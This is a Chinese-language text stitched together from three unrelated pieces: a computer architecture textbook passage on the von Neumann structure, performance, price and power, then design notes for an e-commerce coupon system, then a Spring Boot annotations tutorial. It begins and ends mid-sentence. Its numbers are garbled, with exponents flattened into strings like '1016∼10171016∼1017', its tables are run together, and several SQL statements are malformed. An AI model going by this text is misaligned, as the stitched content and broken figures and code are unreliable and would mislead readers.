Buffer)对页表进行缓存并提供相应的TLB管理指令;CPU实现多组通用寄存器高速切换的机制有利于加速多线程切换;CPU实现多组控制寄存器和系统状态的高速切换机制有利于加速多操作系统切换。最后,计算机中主要的硬件实体如CPU、GPU、南北桥、内存等都是通过晶体管来实现的,只有对晶体管行为有一定的了解才能在结构设计阶段对包括主频、成本、功耗在内的硬件开销进行评估。如高速缓存的容量是制约CPU主频和面积的重要因素,多发射结构的发射电路是制约主频的重要因素,在微结构设计时都是进行权衡取舍的重要内容。什么是计算机什么是计算机?大多数人认为计算机就是我们桌面的电脑,实际上计算机已经深入到我们信息化生活的方方面面。除了大家熟知的个人电脑、服务器和工作站等通用计算机外,像手机、数码相机、数字电视、游戏机、打印机、路由器等设备的核心部件都是计算机,都是计算机体系结构研究的范围。也许此刻你的身上就有好几台计算机。看几个著名的计算机应用的例子。比如说美国国防部有一个ASCI(Accelerated Strategic Computing Initiative)计划,为核武器模拟制造高性能计算机。20世纪90年代,拥有核武器的国家签订了全面禁止核试验条约,凡是签这个条约的国家都不能进行核武器的热试验,或者准确地说不能做“带响”的核武器试验。这对如何保管核武器提出了挑战,核武器放在仓库里不能做试验,这些核武器放了一百年以后,拿出来还能不能用?会不会放着放着自己炸起来?想象一下一块铁暴露在空气中一百年会锈成什么样子。这就需要依靠计算机模拟来进行核武器管理,核武器的数字模拟成为唯一可以进行的核试验,这种模拟需要极高性能的计算机。据美国国防部估计,为了满足2010年核管理的需要,需要每秒完成1016∼10171016∼1017次运算的计算机。现在我们桌面电脑的频率在1GHz的量级(词头“G”表示109109),加上向量化、多发射和多核的并行,现在的先进通用CPU性能大约在10111011的运算量级,即每秒千亿次运算,10161016运算量级就需要10万个CPU,耗电几十兆瓦。美国在2008年推出的世界上首台速度达到PFLOPS(每秒千万亿次运算,其中词头“P”表示10151015,FLOPS表示每秒浮点运算次数)的高性能计算机Roadrunner就用于核模拟。高性能计算机的应用还有很多。例如波音777是第一台完全用计算机模拟设计出来的飞机,还有日本的地球模拟器用来模拟整个地球的地质活动以进行地震方面的研究。高性能计算已经成为除了科学实验和理论推理外的第三种科学研究手段。计算机的另外一个极端应用就是手机,手机也是计算机的一种。现在的手机里至少有一个CPU,有的甚至有几个。希望大家建立一个概念,计算机不光是桌面上摆的个人计算机,它可以大到一个厅都放不下,需要专门为它建一个电站来供电,也可以小到揣在我们的兜里,充电两个小时就能用一整天。不管这个计算机的规模有多大,都是计算机体系结构的研究对象。计算机是为了满足人们各种不同的计算需求设计的自动化计算设备。随着人类科技的进步和新需求的提出,最快的计算机会越来越大,最小的计算机会越来越小。1.1.3 计算机的基本组成我们从小就学习十进制的运算,0、1、2、3、4、5、6、7、8、9十个数字,逢十进一。计算机中使用二进制,只有0和1两个数字,逢二进一。为什么用二进制,不用我们习惯的十进制呢?因为二进制最容易实现。自然界中二值系统非常多,电压的高低、水位的高低、门的开关、电流的有无等等都可以组成二值系统,都可以用来做计算机。二进制最早是由莱布尼茨发明的,冯·诺依曼最早将二进制引入计算机的应用,而且计算机里面的程序和数据都用二进制。从某种意义上说,中国古人的八卦也是一种二进制。计算机的组成非常复杂,但其基本单元非常简单。打开一台PC的机箱,可以发现电路板上有很多芯片。如图1.2所示,一个芯片就是一个系统,由很多模块组成,如加法器、乘法器等;而一个模块由很多逻辑门组成,如非门、与门、或门等;逻辑门由晶体管组成,如PMOS管和NMOS管等;晶体管则通过复杂的工艺过程形成。所以计算机是一个很复杂的系统,由很多可以存储和处理二进制运算的基本元件组成。就像盖房子一样,再宏伟、高大的建筑都是由基本的砖瓦、钢筋水泥等材料搭建而成的。在CPU芯片内部,一根头发的宽度可以并排走上千根导线;购买一粒大米的钱可以买上千个晶体管图: 芯片、模块、逻辑门、晶体管和器件现在计算机结构的基本思想是1945年匈牙利数学家冯·诺依曼结合EDVAC计算机的研制提出的,因此被称为冯·诺依曼结构。我们通过一个具体的例子来介绍冯·诺依曼结构。比如说求式子(3×4+5×7)的值,人类是怎么计算的呢?先计算3×4=12,把12记在脑子里,接着计算5×7=35,再计算12+35=47。我们在计算过程中计算和记忆(存储)都在一个脑袋里(但式子很长的时候需要把临时结果记在纸上)。计算机的计算和记忆是分开的,负责计算的部分由运算器和控制器组成,称为中央处理器,就是CPU;负责记忆的部分称为存储器。存储器里存了两样东西,一是存了几个数,3、4、5、7、12、35、47,这个叫作数据;二是存储了一些指令。也就是说,操作对象和操作序列都保存在存储器里。我们来看看计算机是如何完成(3×4+5×7)的计算的。计算机把3、4、5、7这几个数都存在内存中,计算过程中的临时结果(12、35)和最终结果(47)也存在内存中;此外,计算机还把对计算过程的描述(程序)也存在内存中,程序由很多指令组成。表1.1a给出了内存中在开始计算前数据和指令存储的情况,假设数据存在100号单元开始的区域,程序存在200号单元开始的区域。表 1.1: 程序和数据存储在一起10033101441025510377104121053510647…………200读取100号单元读取100号单元201读取101号单元读取101号单元202两数相乘两数相乘203存入结果到104号单元存入结果到104号单元204读取102号单元读取102号单元205读取103号单元读取103号单元206两数相乘两数相乘207存入结果到105号单元存入结果到105号单元208读取104号单元读取104号单元209读取105号单元读取105号单元210两数相加两数相加211存入结果到106号单元存入结果到106号单元a)b)计算机开始运算过程如下:CPU从内存200号单元取回第一条指令,这条指令就是“读取100号单元”,根据这条指令的要求从内存把“3”读进来;再从内存201号单元取下一条指令“读取101号单元”,然后根据这条指令的要求从内存把“4”读进来;再从内存202号单元取下一条指令“两数相乘”,乘出结果为“12”;再从内存203号单元取下一条指令“存入结果到104号单元”,把结果“12”存入104号单元。如此往复直到程序结束。表1.1b是程序执行结束时内存的内容。大家看看刚才这个过程,比我们大脑运算烦琐多了。我们大脑算三步就算完了,而计算机需要那么多步,又取指令又取数据,挺麻烦的。这就是冯·诺依曼结构的基本思想:数据和程序都在存储器中,CPU从内存中取指令和数据进行运算并把结果也放到内存中。把指令和数据都存在内存中可以让计算机按照事先规定的程序自动地完成运算,是实现图灵机的一种简单方法。冯·诺依曼结构很好地解决了自动化的问题:把程序放在内存里,一条条取进来,自己就做起来了,不用人来干预。如果没有这样一种自动执行的机制,让人去控制计算机做什么运算,拨一下开关算一下,程序没有保存在内存中而是保存在人脑中,就成算盘了。计算机的发展日新月异,但70多年过去了还是使用冯·诺依曼结构。尽管冯·诺依曼结构有很多缺点,例如什么都保存在内存中使访存成为性能瓶颈,但我们还是摆脱不了它。虽然经过了长期的发展,以存储程序和指令驱动执行为主要特点的冯·诺依曼结构仍是现代计算机的主流结构。笔者面试研究生的时候经常问一个问题:冯·诺依曼结构最核心的思想是什么?结果很多研究生都会答错。有人说是由计算器、运算器、存储器、输入、输出五个部分组成;有人说是程序计数器导致串行执行;等等。实际上,冯·诺依曼结构就是数据和程序都存在存储器中,CPU从内存中取指令和数据进行运算,并且把结果也放在内存中。概括起来就是存储程序和指令驱动执行。1.2 衡量计算机的指标怎么样来衡量一台计算机的好坏呢?计算机的衡量指标有很多,其中性能、价格和功耗是三个主要指标。1.2.1 计算机的性能计算机的第一个重要指标就是性能。前面说的用来进行核模拟的高性能计算机对一个国家来说具有战略意义,算得越快越好。又如中央气象台用于天气预报的计算机每天需要根据云图数据解很复杂的偏微分方程,要是计算机太慢,明天的天气预报后天才算出来,那就叫天气后报,没用了。所以性能是计算机的首要指标。什么叫性能?性能的最本质定义是“完成一个任务所需要的时间”。对中央气象台的台长来说,性能就是算明天的天气预报需要多长时间。如果甲计算机两个小时能算完24小时的天气预报,乙计算机一个小时就算完,显然乙的性能比甲好。完成一个任务所需要的时间可以由完成该任务需要的指令数、完成每条指令需要的拍数以及每拍需要的时间三个量相乘得到。完成任务需要的指令数与算法、编译器和指令的功能有关;每条指令需要的拍数与编译器、指令功能、微结构设计相关;每拍需要的时间,也就是时钟周期,与结构、电路设计、工艺等因素有关。完成一个任务的指令数首先取决于算法。我们刚开始做龙芯的时候,计算所的一个老研究员讲过一个故事。说20世纪六七十年代的时候,美国的计算机每秒可以算一亿次,苏联的计算机每秒算一百万次,结果算同一个题目,苏联的计算机反而先算完,因为苏联的算法厉害。以对N个数进行排序的排序算法为例,冒泡排序算法的运算复杂度为O(N*N),快速排序算法的运算复杂度为O(N*log2(N)),如果N为1024,则二者执行的指令数差100倍。编译器负责把用户用高级语言(如C、Java、JavaScript等)写的代码转换成计算机硬件能识别的、由一条条指令组成的二进制码。转换出来的目标码的质量的好坏在很大程度上影响完成一个任务的指令数。在同一台计算机上运行同一个应用程序,用不同的编译器或不同的编译选项,运行时间可能有几倍的差距。指令系统的设计对完成一个任务的指令数影响也很大。例如要不要设计一条指令直接完成一个FFT函数,还是让用户通过软件的方法来实现FFT函数,这是结构设计的一个取舍,直接影响完成一个任务的指令数。体系结构有一个常用的指标叫MIPS(Million Instructions Per Second),即每秒执行多少百万条指令。看起来很合理的一个指标,关键是一条指令能干多少事讲不清楚。如果甲计算机一条指令就能做一个1024点的FFT,而乙计算机一条指令就算一个加法。两台计算机比MIPS值就没什么意义。因此后来有人把MIPS解释为Meaningless Indication of Processor Speed。现在常用一个性能指标MFLOPS(Million FLoating point Operations Per Second),即每秒做多少百万浮点运算,也有类似的问题。如果数据供不上,运算能力再强也没有用。在指令系统确定后,结构设计需要重点考虑如何降低每条指令的平均执行周期(Cycles Per Instruction,简称CPI),或提高每个时钟周期平均执行的指令数(Instructions Per Cycle,简称IPC),这是处理器微结构研究的主要内容。CPI就是一个程序执行所需要的总的时钟周期数除以它所执行的总指令数,反之则是IPC。处理器的微结构设计对IPC的影响很大,采用单发射还是多发射结构,采用何种转移猜测策略以及什么样的存储层次设计都直接影响IPC。表1.2给出了龙芯3A1000和龙芯3A2000处理器运行SPEC CPU2000基准程序的分值。两个CPU均为64位四发射结构,主频均为1GHz,两个处理器运行的二进制码相同,但由于微结构不同,IPC差异很大,总体上说,3A2000的IPC是3A1000的2~3倍。表 1.2: 龙芯3A1000和龙芯3A2000的SPEC CPU2000分值SPEC程序3A10003A2000运行时间/秒分值运行时间/秒分值164.gzip503279323433175.vpr389360222632176.gcc2065331101,003181.mcf480375195925186.crafty166604122822197.parser707254266676252.eon159815141924253.perlbmk418431279644254.gap338325155711255.vortex2916521251,520256.bzip2383391285527300.twolf421712364824SPEC_INT2000447764168.wupwise3384731231,296171.swim1,299239324957172.mgrid1,0451721691,062173.applu9002331971,067177.mesa244574156896178.galgel5075721432,022179.art1731,504972,686183.equake457285961,353187.facerec2886591461,306188.ammp538409274803189.lucas7162791811,104191.fma3d5503822031,034200.sixtrack553199276399301.apsi1,1592242351,108SPEC_FP20003671,120主频宏观上取决于微结构设计,微观上取决于工艺和电路设计。例如Pentium III的流水线是10级,Pentium IV为了提高主频,一发猛就把流水级做到了20级,还恨不得做到40级。Intel的研究表明,只要把Cache和转移猜测表的容量增加一倍,就能抵消流水线增加一倍引起的流水线效率降低。又如,从电路的角度来说,甲设计做64位加法只要1ns,而乙设计需要2ns,那么甲设计比乙设计主频高一倍。相同的电路设计,用不同的工艺实现出来的主频也不一样,先进工艺晶体管速度快,主频高。可见在一个系统中不同层次有不同的性能标准,很难用一项单一指标刻画计算机性能的高低。大家可能会说,从应用的角度看性能是最合理的。甲计算机两个小时算完明天的天气预报,乙计算机只要一小时,那乙的性能肯定比甲的好,这总对吧。也对也不对。只能说,针对算明天的天气预报这个应用,乙计算机的性能比甲的好。但对于其他应用,甲的性能可能反而比乙的好。1.2.2 计算机的价格计算机的第二个重要指标是价格。20世纪80年代以来电脑越来越普及,就是因为电脑的价格在不断下降,从一味地追求性能(Performance per Second)到追求性能价格比(Performance per Dollar)。现在中关村卖个人电脑的企业利润率比卖猪饲料的还低得多。不同的计算机对成本有不同的要求。用于核模拟的超级计算机主要追求性能,一个国家只需要一两台这样的高性能计算机,不太需要考虑成本的问题。相反,大量的嵌入式应用为了降低功耗和成本,可能牺牲一部分性能,因为它要降低功耗和成本。而PC、工作站、服务器等介于两者之间,它们追求性能价格比的最优设计。计算机的成本跟芯片成本紧密相关,计算机中芯片的成本包括该芯片的制造成本和一次性成本NRE(如研发成本)的分摊部分。生产量对于成本很关键。随着不断重复生产,工程经验和工艺水平都不断提高,生产成本可以持续地降低。例如做衣服,刚开始可能做100件就有10件是次品,以后做1000件也不会做坏1件了,衣服的总体成本就降低了。产量的提高能够加速学习过程,提高成品率,还可以降低一次性成本。随着工艺技术的发展,为了实现相同功能所需要的硅面积指数级降低,使得单个硅片的成本指数级降低。但成本降到一定的程度就不怎么降了,甚至还会有缓慢上升的趋势,这是因为厂家为了保持利润不再生产和销售该产品,转而生产和销售升级产品。现在的计算机工业是一个不断出售升级产品的工业。买一台计算机三到五年后,就需要换一台新的计算机。CPU和操作系统厂家一起,通过一些技术手段让一般用户五年左右就需要换掉电脑。这些手段包括:控制芯片老化寿命,不再更新老版本的操作系统而新操作系统的文档格式不与老的保持兼容,发明新的应用使没有升级的计算机性能不够,等等。主流的桌面计算机CPU刚上市时价格都比较贵,然后逐渐降低,降到200美元以下,就逐步从主流市场中退出。芯片公司必须不断推出新的产品,才能保持盈利。但是总的来说,对同一款产品,成本曲线是不断降低的。1.2.3 计算机的功耗计算机的第三个重要指标是功耗。手机等移动设备需要用电池供电。电池怎么用得久呢?低功耗就非常重要。高性能计算机也要低功耗,它们的功耗都以兆瓦(MW)计。兆瓦是什么概念?我们上大学时在宿舍里煮方便面用的电热棒的功率是1000W左右,几个电热棒一起用宿舍就停电了。1MW就是1000个电热棒的功率。曙光5000高性能计算机在中科院计算所的地下室组装调试时,运行一天电费就是一万多块钱,比整栋楼的电费还要高。计算机里产生功耗的地方非常多,CPU有功耗,内存条有功耗,硬盘也有功耗,最后为了把这些热量散发出去,制冷系统也要产生功耗。近几年来,性能功耗比(Performance per Watt)成为计算机非常重要的一个指标。芯片功耗是计算机功耗的重要组成部分。芯片的功耗主要由晶体管工作产生,所以先来看晶体管的功耗组成。图1.3是一个反相器的功耗模型。反相器由一个PMOS管和一个NMOS管组成。其功耗主要可以分为三类:开关功耗、短路功耗和漏电功耗。开关功耗主要是电容的充放电,比如当输出端从0变到1时,输出端的负载电容从不带电变为带电,有一个充电的过程;当输出端从1变到0时,电容又有一个放电的过程。在充电、放电的过程中就会产生功耗。开关功耗既和充放电电压、电容值有关,还和反相器开关频率相关。短路功耗就是P管和N管短路时产生的功耗。当反相器的输出为1时,P管打开,N管关闭;输出为0时,则N管开,P管闭。但在开、闭的转换过程中,电流的变化并不像理论上那样是一个方波,而是有一定的斜率。在这个变化的过程中会出现N管和P管同时部分打开的情况,这时候就产生了短路功耗。漏电功耗是指MOS管不能严格关闭时发生漏电产生的功耗。以NMOS管为例,如果栅极有电N管就导通;否则N管就关闭。但在纳米级工艺下,MOS管沟道很窄,即使栅极不加电压,源极和漏极之间也有电流;另外栅极下的绝缘层很薄,只有几个原子的厚度,从栅极到沟道也有漏电流。漏电流大小随温度升高呈指数增加,因此温度是集成电路的第一杀手。优化芯片功耗一般从两个角度入手——动态功耗优化和静态功耗优化。升级工艺是降低动态功耗的有效方法,因为工艺升级可以降低电容和电压,从而成倍地降低动态功耗。芯片工作频率跟电压成正比,在一定范围内(如5%~10%)降低频率可以同比降低电压,因此频率降低10%,动态功耗可以降低30%左右(功耗和电压的平方成正比,和频率成正比)。可以通过选择低功耗工艺降低芯片静态功耗,集成电路生产厂家一般会提供高性能工艺和低功耗工艺,低功耗工艺速度稍慢一些但漏电功耗成数量级降低。在结构和逻辑设计时,避免不必要的逻辑翻转可以有效降低翻转率,例如在某一流水级没有有效工作时,保持该流水级为上一拍的状态不翻转。在物理设计时,可以通过门控时钟降低时钟树翻转功耗。在电路设计时,可以采用低摆幅电路降低功耗,例如工作电压为1V时,用0.4V表示逻辑0,用0.6V表示逻辑1,摆幅就只有0.2V,大大降低了动态功耗。芯片的功耗是一个全局量,与每一个设计阶段都相关。功耗优化的层次从系统级、算法级、逻辑级、电路级,直至版图和工艺级,是一个全系统工程。近几年在降低功耗方面的研究非常多,和以前片面追求性能不同,降低功耗已经成了芯片设计一个最重要的任务。信息产业是一个高能耗产业,信息设备耗电越来越多。根据冯·诺依曼的公式,现在一位比特翻转所耗的电是理论值的10101010倍以上。整个信息的运算过程是一个从无序到有序的过程,这个过程中它的熵变小,是一个吸收能量的过程。但事实上,它真正需要的能量很少,因为我们现在用来实现运算的手段不够先进,不够好,所以才造成了10101010倍这么高的能耗,因此我们还有多个数量级的优化空间。这其中需要一些原理性的革命,材料、设计上都需要很大的革新,即使目前在用的晶体管,优化空间也是很大的。有些应用还需要考虑计算机的其他指标,例如使用寿命、安全性、可靠性等。以可靠性为例,计算机中用的CPU可以分为商用级、工业级、军品级、宇航级等。比如北斗卫星上面的计算机,价格贵点没关系,慢一点也没关系,关键是要可靠,我国放了不少卫星,有的就是由于其中的元器件不可靠报废了。因此在特定领域可靠性要求非常高。再如银行核心业务用的计算机也非常在乎可靠性,只要一年少死机一次,价格贵一千万元也没关系,对银行来说,核心计算机死机,所有的储户就取不了钱,这损失太大了。因此考评一个计算机好坏的指标非常多。本课程作为本科计算机体系结构基础课程,在以后的章节中主要关注性能指标。
1 Scenario 场景电商大厂常见促销手段:优惠券拼团砍价老带新1.1 优惠券的种类满减券直减券折扣券1.2 优惠券系统的核心流程1.2.1 发券发券的方式:同步发送 or 异步发送1.2.2 领券谁能领?所有用户 or 指定的用户领取上限一个优惠券最多能领取多少张?领取方式用户主动领取 or 自动发放被动领取1.2.3 用券作用范围商品、商户、类目计算方式是否互斥、是否达到门槛等1.3 需求拆解1.3.1 商家侧创建优惠券发送优惠券1.3.2 用户侧领取优惠券下单使用优惠券支付2 Service 服务2.1 服务结构设计2.2 优惠券系统设计技术难点券的分布式事务,使用券的过程会出现的分布式问题分析?如何防止超发?如何大批量给用户发券?如何限制券的使用条件?如何防止用户重复领券?3 Storage存储3.1 表单设计券批次(券模板),coupon_batch指一批优惠券的抽象、模板,包含优惠券的大部分属性。如商家创建了一批优惠券,共1000张,使用时间为2022-11-11 00:00:00 ~ 2022-11-11 23:59:59,规定只有数码类目商品才能使用,满100减50。券发放到用户的一个实体,已与用户绑定。如将某批次的优惠券中的一张发送给某个用户,此时优惠券属于用户。规则优惠券的使用有规则和条件限制,比如满100减50券,需要达到门槛金额100元才能使用。券批次表 coupon_batch规则表 rule:规则内容:{ threshold: 5.01 // 使用门槛 amount: 5 // 优惠金额 use_range: 3 // 使用范围,0—全场,1—商家,2—类别,3—商品 commodity_id: 10 // 商品 id receive_count: 1 // 每个用户可以领取的数量 is_mutex: true // 是否互斥,true 表示互斥,false 表示不互斥 receive_started_at: 2020-11-1 00:08:00 // 领取开始时间 receive_ended_at: 2020-11-6 00:08:00 // 领取结束时间 use_started_at: 2020-11-1 00:00:00 // 使用开始时间 use_ended_at: 2020-11-11 11:59:59 // 使用结束时间 }优惠券表 coupon:create table t_coupon coupon_id int null comment '券ID,主键', user_id int null comment '用户ID', batch_id int null comment '批次ID', status int null comment '0-未使用、1-已使用、2-已过期、3-冻结', order_id varchar(255) null comment '对应订单ID', received_time datetime null comment '领取时间', validat_time datetime null comment '有效日期', used_time datetime null comment '使用时间' );3.2 建券1、新建规则INSERT INTO rule (name, type, rule_content) VALUES(“满减规则”, 0, '{ threshold: 100 amount: 10 ...... }');2、新建优惠券批次INSERT INTO coupon\_batch (coupon\_name, rule\_id, total\_count ) VALUES(“劳斯莱斯5元代金券”, 1010, 10000);3.3 发券如何给大量用户发券?异步发送!触达系统短信、邮件可通过调用第三方接口的方式实现站内信通过数据库插入记录来实现信息表 messagecreate table t_message id int null comment '信息ID', send_id int null comment '发送者id', rec_id int null comment '接受者id', content vachar(255) comment '站内信内容', is_read int null comment '是否已读', send_time datetime comment '发送时间' comment '信息表';先考虑用户量很少的情况,商家要给所有人发站内信,则先遍历用户表,再按照用户表中的所有用户依次将站内信插入到 message 表中。这样,如果有100个用户,则群发一条站内信要执行100个插入操作。系统用户数增加到w级发一条站内信,就得重复插入上万条数据。而且这上万条数据的 content 一样!假设一条站内信占100K,发一次站内信就要消耗十几M。对此,可将原来的表拆成两个表:信息表 message信息内容表 message_content发一封站内信的步骤往 message_content 插入站内信的内容在 message 表中,给所有用户插入一条记录,标识有一封站内信千w级用户数这就有【非活跃用户】的问题,假设注册用户一千万,根据二八原则,其中活跃用户占20%。若采用上面拆成两个表的情况,发一封“站内信”,得执行一千万个插入操作。可能剩下80%用户基本都不会再登录,其实只需对其中20%用户插入数据。信息表 message:create table t_message id int null comment '信息 ID', # send_id int null comment '发送者 id', 去除该字段 rec_id int null comment '接受者 id', message_id int null comment '外键,信息内容', is_read int null comment '是否已读' comment '信息表'; create table t_message_content id int null comment '信息内容id', send_id int null comment '发送者id', content varchar(255) null comment '内容', send_time datetime null comment '发送时间' );用户侧操作登录后,首先查询 message_content 中的那些没有在 message 中有记录的数据,表示是未读的站内信。在查阅站内信的内容时,再将相关的记录插入 message。系统侧操作发站内信时:只在 message_content 插入站内信的主体内容message 不插入记录给 10W 用户发券有什么问题?重复消费,导致超发!运营提供满足条件的用户文件,上传到发券管理后台并选择要发送的优惠券管理服务器根据【用户ID】、【券批次ID】生成消息,发送到MQ优惠券服务器消费消息# 记住使用事务哦! INSERT INTO coupon (user_id, coupon_id,batch_id) VALUES(1001, 66889, 1111); UPDATE coupon_batch SET total_count = total_count - 1, assign_count = assign_count + 1 WHERE batch_id = 1111 AND total_count > 0;3.4 领券步骤校验优惠券余量SELECT total_count FROM coupon_batch WHERE batch_id = 1111;新增优惠券用户表,扣减余量# 注意事务! INSERT INTO coupon (user_id, coupon_id,batch_id) VALUES(1001, 66889, 1111); UPDATE coupon_batch SET total_count = total_count - 1, assign_count = assign_count + 1 WHERE batch_id = 1111 AND total_count > 0;用户领券过程中,其实也会出现类似秒杀场景。秒杀场景下会有哪些问题,如何解决?
可以毫不夸张地说,这篇文章介绍的 Spring/SpringBoot 常用注解基本已经涵盖你工作中遇到的大部分常用的场景。对于每一个注解我都说了具体用法,掌握搞懂,使用 SpringBoot 来开发项目基本没啥大问题了!为什么要写这篇文章?最近看到网上有一篇关于 SpringBoot 常用注解的文章被转载的比较多,我看了文章内容之后属实觉得质量有点低,并且有点会误导没有太多实际使用经验的人(这些人又占据了大多数)。所以,自己索性花了大概 两天时间简单总结一下了。因为我个人的能力和精力有限,如果有任何不对或者需要完善的地方,请帮忙指出!Guide 哥感激不尽!1. @SpringBootApplication这里先单独拎出@SpringBootApplication 注解说一下,虽然我们一般不会主动去使用它。Guide 哥:这个注解是 Spring Boot 项目的基石,创建 SpringBoot 项目之后会默认在主类加上。@SpringBootApplication public class SpringSecurityJwtGuideApplication { public static void main(java.lang.String[] args) { SpringApplication.run(SpringSecurityJwtGuideApplication.class, args); }我们可以把 @SpringBootApplication看作是 @Configuration、@EnableAutoConfiguration、@ComponentScan 注解的集合。package org.springframework.boot.autoconfigure; @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) @Documented @Inherited @SpringBootConfiguration @EnableAutoConfiguration @ComponentScan(excludeFilters = { @Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class), @Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class) }) public @interface SpringBootApplication { ...... package org.springframework.boot; @Target(ElementType.TYPE) @Retention(RetentionPolicy.RUNTIME) @Documented @Configuration public @interface SpringBootConfiguration { }根据 SpringBoot 官网,这三个注解的作用分别是:@EnableAutoConfiguration:启用 SpringBoot 的自动配置机制@ComponentScan: 扫描被@Component (@Repository,@Service,@Controller)注解的 bean,注解默认会扫描该类所在的包下所有的类。@Configuration:允许在 Spring 上下文中注册额外的 bean 或导入其他配置类2. Spring Bean 相关2.1. @Autowired自动导入对象到类中,被注入进的类同样要被 Spring 容器管理比如:Service 类注入到 Controller 类中。@Service public class UserService { ...... @RestController @RequestMapping("/users") public class UserController { @Autowired private UserService userService; ...... }2.2. @Component,@Repository,@Service, @Controller我们一般使用 @Autowired 注解让 Spring 容器帮我们自动装配 bean。要想把类标识成可用于 @Autowired 注解自动装配的 bean 的类,可以采用以下注解实现:@Component :通用的注解,可标注任意类为 Spring 组件。如果一个 Bean 不知道属于哪个层,可以使用@Component 注解标注。@Repository : 对应持久层即 Dao 层,主要用于数据库相关操作。@Service : 对应服务层,主要涉及一些复杂的逻辑,需要用到 Dao 层。@Controller : 对应 Spring MVC 控制层,主要用于接受用户请求并调用 Service 层返回数据给前端页面。2.3. @RestController@RestController注解是@Controller和@ResponseBody的合集,表示这是个控制器 bean,并且是将函数的返回值直接填入 HTTP 响应体中,是 REST 风格的控制器。Guide 哥:现在都是前后端分离,说实话我已经很久没有用过@Controller。如果你的项目太老了的话,就当我没说。单独使用 @Controller 不加 @ResponseBody的话一般是用在要返回一个视图的情况,这种情况属于比较传统的 Spring MVC 的应用,对应于前后端不分离的情况。@Controller +@ResponseBody 返回 JSON 或 XML 形式数据关于@RestController 和 @Controller的对比,请看这篇文章:@RestController vs @Controlleropen in new window。2.4. @Scope声明 Spring Bean 的作用域,使用方法:@Bean @Scope("singleton") public Person personSingleton() { return new Person(); }四种常见的 Spring Bean 的作用域:singleton : 唯一 bean 实例,Spring 中的 bean 默认都是单例的。prototype : 每次请求都会创建一个新的 bean 实例。request : 每一次 HTTP 请求都会产生一个新的 bean,该 bean 仅在当前 HTTP request 内有效。session : 每一个 HTTP Session 会产生一个新的 bean,该 bean 仅在当前 HTTP session 内有效。2.5. @Configuration一般用来声明配置类,可以使用 @Component注解替代,不过使用@Configuration注解声明配置类更加语义化。@Configuration public class AppConfig { @Bean public TransferService transferService() { return new TransferServiceImpl(); }3. 处理常见的 HTTP 请求类型5 种常见的请求类型:GET :请求从服务器获取特定资源。举个例子:GET /users(获取所有学生)POST :在服务器上创建一个新的资源。举个例子:POST /users(创建学生)PUT :更新服务器上的资源(客户端提供更新后的整个资源)。举个例子:PUT /users/12(更新编号为 12 的学生)DELETE :从服务器删除特定的资源。举个例子:DELETE /users/12(删除编号为 12 的学生)PATCH :更新服务器上的资源(客户端提供更改的属性,可以看做作是部分更新),使用的比较少,这里就不举例子了。3.1. GET 请求@GetMapping("users") 等价于@RequestMapping(value="/users",method=RequestMethod.GET)@GetMapping("/users") public ResponseEntity<List<User>> getAllUsers() { return userRepository.findAll(); }3.2. POST 请求@PostMapping("users") 等价于@RequestMapping(value="/users",method=RequestMethod.POST)关于@RequestBody注解的使用,在下面的“前后端传值”这块会讲到。@PostMapping("/users") public ResponseEntity<User> createUser(@Valid @RequestBody UserCreateRequest userCreateRequest) { return userRespository.save(userCreateRequest); }3.3. PUT 请求@PutMapping("/users/{userId}") 等价于@RequestMapping(value="/users/{userId}",method=RequestMethod.PUT)@PutMapping("/users/{userId}") public ResponseEntity<User> updateUser(@PathVariable(value = "userId") Long userId, @Valid @RequestBody UserUpdateRequest userUpdateRequest) { ...... }3.4. DELETE 请求@DeleteMapping("/users/{userId}")等价于@RequestMapping(value="/users/{userId}",method=RequestMethod.DELETE)@DeleteMapping("/users/{userId}") public ResponseEntity deleteUser(@PathVariable(value = "userId") Long userId){ ...... }3.5. PATCH 请求一般实际项目中,我们都是 PUT 不够用了之后才用 PATCH 请求去更新数据。@PatchMapping("/profile") public ResponseEntity updateStudent(@RequestBody StudentUpdateRequest studentUpdateRequest) { studentRepository.updateDetail(studentUpdateRequest); return ResponseEntity.ok().build(); }4. 前后端传值掌握前后端传值的正确姿势,是你开始 CRUD 的第一步!4.1. @PathVariable 和 @RequestParam@PathVariable用于获取路径参数,@RequestParam用于获取查询参数。举个简单的例子:@GetMapping("/klasses/{klassId}/teachers") public List<Teacher> getKlassRelatedTeachers( @PathVariable("klassId") Long klassId, @RequestParam(value = "type", required = false) String type ) { }如果我们请求的 url 是:/klasses/123456/teachers?type=web那么我们服务获取到的数据就是:klassId=123456,type=web。4.2. @RequestBody用于读取 Request 请求(可能是 POST,PUT,DELETE,GET 请求)的 body 部分并且Content-Type 为 application/json 格式的数据,接收到数据之后会自动将数据绑定到 Java 对象上去。系统会使用HttpMessageConverter或者自定义的HttpMessageConverter将请求的 body 中的 json 字符串转换为 java 对象。我用一个简单的例子来给演示一下基本使用!我们有一个注册的接口@PostMapping("/sign-up") public ResponseEntity signUp(@RequestBody @Valid UserRegisterRequest userRegisterRequest) { userService.save(userRegisterRequest); return ResponseEntity.ok().build(); }UserRegisterRequest对象@Data @AllArgsConstructor @NoArgsConstructor public class UserRegisterRequest { @NotBlank private String userName; @NotBlank private String password; @NotBlank private String fullName; }我们发送 post 请求到这个接口,并且 body 携带 JSON 数据:{"userName":"coder","fullName":"shuangkou","password":"123456"}这样我们的后端就可以直接把 json 格式的数据映射到我们的 UserRegisterRequest 类上👉 需要注意的是:一个请求方法只可以有一个@RequestBody,但是可以有多个@RequestParam和@PathVariable。 如果你的方法必须要用两个 @RequestBody来接受数据的话,大概率是你的数据库设计或者系统设计出问题了!5. 读取配置信息很多时候我们需要将一些常用的配置信息比如阿里云 oss、发送短信、微信认证的相关配置信息等等放到配置文件中。下面我们来看一下 Spring 为我们提供了哪些方式帮助我们从配置文件中读取这些配置信息。我们的数据源application.yml内容如下wuhan2020: 2020年初武汉爆发了新型冠状病毒,疫情严重,但是,我相信一切都会过去!武汉加油!中国加油! my-profile: name: Guide哥 email: koushuangbwcx@163.com library: location: 湖北武汉加油中国加油 books: - name: 天才基本法 description: 二十二岁的林朝夕在父亲确诊阿尔茨海默病这天,得知自己暗恋多年的校园男神裴之即将出国深造的消息——对方考取的学校,恰是父亲当年为她放弃的那所。 - name: 时间的秩序 description: 为什么我们记得过去,而非未来?时间“流逝”意味着什么?是我们存在于时间之内,还是时间存在于我们之中?卡洛·罗韦利用诗意的文字,邀请我们思考这一亘古难题——时间的本质。 - name: 了不起的我 description: 